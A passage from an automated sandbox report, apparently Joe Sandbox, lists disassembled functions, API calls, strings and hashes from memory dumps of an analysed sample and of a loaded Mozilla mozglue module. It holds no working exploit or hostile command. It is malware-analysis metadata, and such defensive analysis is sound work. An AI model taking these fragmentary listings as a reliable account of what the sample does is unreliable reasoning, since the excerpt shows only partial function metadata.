ReleaseSRWLockExclusive.KERNEL32(6C76F4B8,?,?,00000000,?,6C72F598), ref: 6C72F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C72F62A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 09e5707201f442bf9726fb7942136b79a9c1f69875d8da0b28ec67758def0e5c
Instruction ID: d89ee1c2b2421094f5a7341a8f719a402d44d1d6939ab7e64438530a3a08f67c
Opcode Fuzzy Hash: 09e5707201f442bf9726fb7942136b79a9c1f69875d8da0b28ec67758def0e5c
Instruction Fuzzy Hash: 5511C131205315ABCB40AF6ACA4CAE57B7DFB86358F140036FA1583F01CB35B815CBA0

Function 6C6F0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB89: EnterCriticalSection.KERNEL32(6C76E370,?,?,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB94
Part of subcall function 6C71AB89: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C71D9F0,00000000), ref: 6C6F0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C6F0F3C
__Init_thread_footer.LIBCMT ref: 6C6F0F50
FreeLibrary.KERNEL32(?,6C71D9F0,00000000), ref: 6C6F0F86

Strings

combase.dll, xrefs: 6C6F0F18
CoInitializeEx, xrefs: 6C6F0F36

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: ead758ea6b6a0f6c12650fb7622f5ab6c260822cf5a62f1ab9509f2e48844893
Instruction ID: 441906634271b149ca15eb7072180446f29fb450dafc063b2ec2623853cf674a
Opcode Fuzzy Hash: ead758ea6b6a0f6c12650fb7622f5ab6c260822cf5a62f1ab9509f2e48844893
Instruction Fuzzy Hash: 811133757063409BEF10DF5ACE18B653779FB4B325F04423AED15D2A42D730A906CA66

Function 6C72F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72F561

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

GetCurrentThreadId.KERNEL32 ref: 6C72F577
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72F585
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C72F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C72F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C72F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C72F3A8

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: db24c4bcdb75b48cc33592c42c787d31f7fa397341117b671f817b699e088c18
Instruction ID: 45e0f7dd7a30953f5adb30d1c08337df454169b22db7f748961c5b691c18a57a
Opcode Fuzzy Hash: db24c4bcdb75b48cc33592c42c787d31f7fa397341117b671f817b699e088c18
Instruction Fuzzy Hash: 33F054757003049BDB006B67D94CABA7B7DEB8735DF040035FA1587B01DB7568058765

Function 6C6F0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C6F0DF8), ref: 6C6F0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C6F0EA1
__Init_thread_footer.LIBCMT ref: 6C6F0EB5
FreeLibrary.KERNEL32 ref: 6C6F0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C6F0E9B
kernel32.dll, xrefs: 6C6F0E7D

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: d000c31c639df12aef3f7d36e185e644cf6c6eb10de6007f123404bcd1ffcbdf
Instruction ID: f6429edaea1525a38bf3b6ced4fae8578f9f058c70bc54d0c87df3a3af135f82
Opcode Fuzzy Hash: d000c31c639df12aef3f7d36e185e644cf6c6eb10de6007f123404bcd1ffcbdf
Instruction Fuzzy Hash: 9A0146B0B14381CBDF008FBACA18BA2B7B6F707318F900539EA1182F40DF30A55A9A15

Function 6C72F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C72F598), ref: 6C72F621

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

GetCurrentThreadId.KERNEL32 ref: 6C72F637
AcquireSRWLockExclusive.KERNEL32(6C76F4B8,?,?,00000000,?,6C72F598), ref: 6C72F645
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8,?,?,00000000,?,6C72F598), ref: 6C72F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C72F62A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 183286301b7e59a8635a2962dbab25224c09e62b57234cd1421c53a05d73d82a
Instruction ID: 0bf53b075161ed3e76c071e36c13b4ac7ea01228d46b9e9a5f835d228966f5f3
Opcode Fuzzy Hash: 183286301b7e59a8635a2962dbab25224c09e62b57234cd1421c53a05d73d82a
Instruction Fuzzy Hash: 9DF03A75200304ABDB006B66C94CAAA7B7DEB863ADF040036FA1583B41CB7968098765

Function 6C7205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C71CFAE,?,?,?,6C6E31A7), ref: 6C7205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C71CFAE,?,?,?,6C6E31A7), ref: 6C720616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6E31A7), ref: 6C72061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6E31A7), ref: 6C720627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C72061B, 6C720625
<jemalloc>, xrefs: 6C7205FA, 6C72060F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 91c7630f883dc455298e8df11084558739870be6610dcd2812170a3e6e0a5900
Instruction ID: d211f69be31bc56938447feea38ab7037a55267085900f2aea49cc4268477a15
Opcode Fuzzy Hash: 91c7630f883dc455298e8df11084558739870be6610dcd2812170a3e6e0a5900
Instruction Fuzzy Hash: 47E08CE2A0111837F5142256AC8AEBB7A1CDBCA634F080039FD0D82301E94ABD2E91F7

Function 6C6F05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f42572321198c24b9afe8dc754937ac4471795f91bcb7ef5b5d0ae129e0b308a
Instruction ID: d2d6c5a399e16ef9ef595c439d0767deac0160bbfa5ba0c59864094f9fe344f6
Opcode Fuzzy Hash: f42572321198c24b9afe8dc754937ac4471795f91bcb7ef5b5d0ae129e0b308a
Instruction Fuzzy Hash: FEA138B0A007458FDB24CF29C994A99FBF2BF49304F4486AAD45997B01E730A945CFA4

Function 6C7414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7414E2
GetCurrentThreadId.KERNEL32 ref: 6C741546
InitializeConditionVariable.KERNEL32(?), ref: 6C7415BA
free.MOZGLUE(?), ref: 6C7416B4

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 1887fc9ce3b1c9fe9bca30974dab0fa4898815f8e4fa1eca78ebafa96b217c5f
Instruction ID: a4c2863bdf03adba54a999a5ce7c0a1532405ab53cbabfd9623ed8928ab64ce4
Opcode Fuzzy Hash: 1887fc9ce3b1c9fe9bca30974dab0fa4898815f8e4fa1eca78ebafa96b217c5f
Instruction Fuzzy Hash: C861F371A007149BDB11DF25CA88BEEBBB4BF89308F44952CED8A57701DB31E958CB91

Function 6C73DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C73DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C73D38A,?), ref: 6C73DC6F
free.MOZGLUE(?,?,?,?,?,6C73D38A,?), ref: 6C73DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C73D38A,?), ref: 6C73DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C73D38A,?), ref: 6C73DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C73D38A,?), ref: 6C73DD4A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 80bec456a58e1b86eaf2765f7be8f62ed08b1f435febca24c0ee23571dc0bafc
Instruction ID: acb7fd766c80d539804eea7578bcd2ebc7a8ba96caf7f82e3acf65ba7de17fe0
Opcode Fuzzy Hash: 80bec456a58e1b86eaf2765f7be8f62ed08b1f435febca24c0ee23571dc0bafc
Instruction Fuzzy Hash: E1419FB5A00315CFCB00CF99CA889AAB7F5FF89304B155469D949ABB12D771FC00CB90

Function 0041AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041AD5A

Part of subcall function 0041A97C: __mtinitlocknum.LIBCMT ref: 0041A992
Part of subcall function 0041A97C: __amsg_exit.LIBCMT ref: 0041A99E
Part of subcall function 0041A97C: EnterCriticalSection.KERNEL32(?,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041A9A6

DecodePointer.KERNEL32(0042A0C8,00000020,0041AE9D,?,00000001,00000000,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E), ref: 0041AD96
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADA7

Part of subcall function 0041B7F5: EncodePointer.KERNEL32(00000000,0041BA52,0042BDB8,00000314,00000000,?,?,?,?,?,0041B0C8,0042BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041B7F7

DecodePointer.KERNEL32(-00000004,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADCD
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADE0
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADEA

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction ID: 26cd67dfac1a625c080c990f5aa3a4e8d575379cc8cf2dcf3c78269be391da57
Opcode Fuzzy Hash: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction Fuzzy Hash: CB3129B09423498FDF109FA9D9452DEBBF1BF48314F14402BD410A6251DBBC48A5CF6E

Function 0041C3CD Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C3D9

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__amsg_exit.LIBCMT ref: 0041C3F9
__lock.LIBCMT ref: 0041C409
InterlockedDecrement.KERNEL32(?), ref: 0041C426
free.MSVCRT(?,?,?,00000003,0041B5E0,0042A108,00000008), ref: 0041C439
InterlockedIncrement.KERNEL32(0042B558), ref: 0041C451

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 68cb7e6ea9f2ec8c328fe504e648b6640a528a258a727550de86b644f98f4ab2
Instruction ID: 347e950a9de730bb6983817e76a39e35d30df20f4a69820d490e6e24dcd4e02e
Opcode Fuzzy Hash: 68cb7e6ea9f2ec8c328fe504e648b6640a528a258a727550de86b644f98f4ab2
Instruction Fuzzy Hash: 7D010431A826219BD720AB669C857EEB760BB04714F41811BE94463391CB3C68D2CFDE

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction ID: c22392a9749b90d4c1c61cacca4cad5c9228f9bc2143d6a913daecdb3f55fa98
Opcode Fuzzy Hash: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction Fuzzy Hash: F171D974A00109DFDB04CF48C484BAAB7B2FF88315F158179E84AAF395C739AA91CF95

Function 6C71F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C71F480

Part of subcall function 6C6EF100: LoadLibraryW.KERNEL32(shell32,?,6C75D020), ref: 6C6EF122
Part of subcall function 6C6EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6EF132

CloseHandle.KERNEL32(00000000), ref: 6C71F555

Part of subcall function 6C6F14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C6F1248,6C6F1248,?), ref: 6C6F14C9
Part of subcall function 6C6F14B0: memcpy.VCRUNTIME140(?,6C6F1248,00000000,?,6C6F1248,?), ref: 6C6F14EF

Part of subcall function 6C6EEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C6EEEE3

CreateFileW.KERNEL32 ref: 6C71F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C71F523

Strings

\oleacc.dll, xrefs: 6C71F4CB

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c5bf1b26af0c85abf146a3288c72f640fe296dcdbbe163af28b6ca4fed460dce
Instruction ID: 5bf038109572b1de8e2daa783d4148b06f3f2f5848368e3103b5885cb8f6059d
Opcode Fuzzy Hash: c5bf1b26af0c85abf146a3288c72f640fe296dcdbbe163af28b6ca4fed460dce
Instruction Fuzzy Hash: 0D41B2706087109FE720DF29CA84A9BB7F4BF85318F540A2DF59583A50EB70E949CB92

Function 004127A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

